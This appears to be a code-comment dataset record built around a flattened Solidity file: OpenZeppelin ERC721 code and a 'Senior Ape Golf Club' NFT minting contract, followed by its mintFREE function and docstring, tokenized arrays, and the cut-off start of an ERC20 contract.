* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/teeeestfinal.sol
//
// /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
// /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$
// | $$ \__/| $$ \ $$| $$ \__/| $$ \__/
// | $$$$$$ | $$$$$$$$| $$ /$$$$| $$
// \____ $$| $$__ $$| $$|_ $$| $$
// /$$ \ $$| $$ | $$| $$ \ $$| $$ $$
// | $$$$$$/| $$ | $$| $$$$$$/| $$$$$$/
// \______/ |__/ |__/ \______/ \______/
//
//
pragma solidity ^0.8.0;
contract SAGC is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
bytes32 public merkleRoot = "";
uint256 public maxSupply = 8888;
uint256 private price = 0.06 ether;
uint256 public maxPerTx = 10;
uint256 public maxPerWallet = 10;
uint256 public qtyFree = 222;
string private baseURI = "";
string public provenance = "";
string public uriNotRevealed = "";
string public uriMetadataOpen;
string public uriMetadataLimited;
bool public paused = false;
bool public isRevealed;
bool private useWhitelist;
event Minted(address caller);
constructor() ERC721("Senior Ape Golf Club", "SAGC") {
}
// mints a free token to the caller
function mintFREE() public payable {
uint256 supply = totalSupply();
require(!paused, "Minting is paused");
require(supply < qtyFree, "Sorry, we ran out of free ones!");
require(balanceOf(msg.sender) == 0, "You already own a free one!");
_safeMint(msg.sender, supply + 1);
emit Minted(msg.sender);
}
// general mint, mints qty amount of tokens to the caller
function mint(uint256 qty) external payable{
require(!paused, "Minting is paused");
require(balanceOf(msg.sender) < maxPerWallet, "Sorry, you already own the max allowed!");
uint256 supply = totalSupply();
require(supply >= qtyFree, "Hurry up and grab a free one!");
require(supply + qty <= maxSupply, "Sorry, not enough left!");
require(qty <= maxPerTx, "Sorry, too many per transaction");
require(msg.value >= price * qty, "Sorry, not enough amount sent!");
require(useWhitelist == false, "Sorry, we are still on whitelist mode!");
for (uint i=supply + 1; i <= supply + qty; i++) {
_safeMint(msg.sender, i);
}
emit Minted(msg.sender);
}
function mintGiveaway(address _to, uint256 qty) external payable onlyOwner{
uint256 supply = totalSupply();
require(supply + qty <= maxSupply, "Sorry, not enough left!");
for (uint i=supply + 1; i <= supply + qty; i++) {
_safeMint(_to, i);
}
}
// whitelist mint, allows wallets on the whitelist to mint
function whitelistMint(uint256 qty, bytes32[] memory proof) external payable {
require(!paused, "Minting is paused");
require(balanceOf(msg.sender) < maxPerWallet, "Sorry, you already own the max allowed!");
uint256 supply = totalSupply();
require(supply >= qtyFree, "Hurry up and grab a free one!");
require(useWhitelist, "Whitelist sale must be active to mint.");
// check if the user was whitelisted
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(_verify(leaf, proof), "You are not whitelisted.");
require(supply + qty <= maxSupply, "Sorry, not enough left!");
require(qty <= maxPerTx, "Sorry, too many per transaction");
require(msg.value >= price * qty, "Sorry, not enough amount sent!");
for (uint i=supply + 1; i <= supply + qty; i++) {
_safeMint(msg.sender, i);
}
emit Minted(msg.sender);
}
function flipUseWhitelist() external onlyOwner {
useWhitelist = !useWhitelist;
}
function flipPaused() external onlyOwner {
paused = !paused;
}
// close minting
function closeMinting() external onlyOwner {
uint256 supply = totalSupply();
maxSupply = supply;
}
function flipRevealed(string memory _URI) external onlyOwner {
baseURI = _URI;
isRevealed = !isRevealed;
}
function remaining() public view returns(uint256){
uint256 left = maxSupply - totalSupply();
return left;
}
function usingWhitelist() public view returns(bool) {
return useWhitelist;
}
function setBaseURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function setUriNotRevealed(string memory _URI) external onlyOwner {
uriNotRevealed = _URI;
}
function _baseURI() internal view override(ERC721) returns(string memory) {
return baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (isRevealed == false) {
return uriNotRevealed;
}
string memory base = _baseURI();
return bytes(base).length > 0 ? string(abi.encodePacked(base, tokenId.toString(), ".json")) : "";
}
// Make it possible to change the price
function setPrice(uint256 _newPrice) external onlyOwner {
price = _newPrice;
}
function getPrice() public view returns (uint256){
return price;
}
// Set provenance hash
function setProvenanceHash(string memory _provenance) public onlyOwner {
provenance = _provenance;
}
// Helper to list all the tokens ids of a wallet
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function withdraw(uint256 _amount) onlyOwner public {
uint256 balance = address(this).balance;
require(_amount <= balance);
payable(msg.sender).transfer(_amount);
}
// Set merkle tree root
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal view returns (bool)
{
return MerkleProof.verify(proof, merkleRoot, leaf);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
mints a free token to the caller
|
function mintFREE() public payable {
uint256 supply = totalSupply();
require(!paused, "Minting is paused");
require(supply < qtyFree, "Sorry, we ran out of free ones!");
require(balanceOf(msg.sender) == 0, "You already own a free one!");
_safeMint(msg.sender, supply + 1);
emit Minted(msg.sender);
}
| 10,900,636 |
[
1,
81,
28142,
279,
4843,
1147,
358,
326,
4894,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
28104,
1435,
1071,
8843,
429,
288,
203,
3639,
2254,
5034,
14467,
273,
2078,
3088,
1283,
5621,
203,
3639,
2583,
12,
5,
8774,
3668,
16,
315,
49,
474,
310,
353,
17781,
8863,
203,
3639,
2583,
12,
2859,
1283,
411,
26667,
9194,
16,
315,
28898,
16,
732,
18892,
596,
434,
4843,
5945,
4442,
1769,
203,
3639,
2583,
12,
12296,
951,
12,
3576,
18,
15330,
13,
422,
374,
16,
315,
6225,
1818,
4953,
279,
4843,
1245,
4442,
1769,
203,
3639,
389,
4626,
49,
474,
12,
3576,
18,
15330,
16,
14467,
397,
404,
1769,
203,
203,
3639,
3626,
490,
474,
329,
12,
3576,
18,
15330,
1769,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (address account) {
owner = newOwner;
return owner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
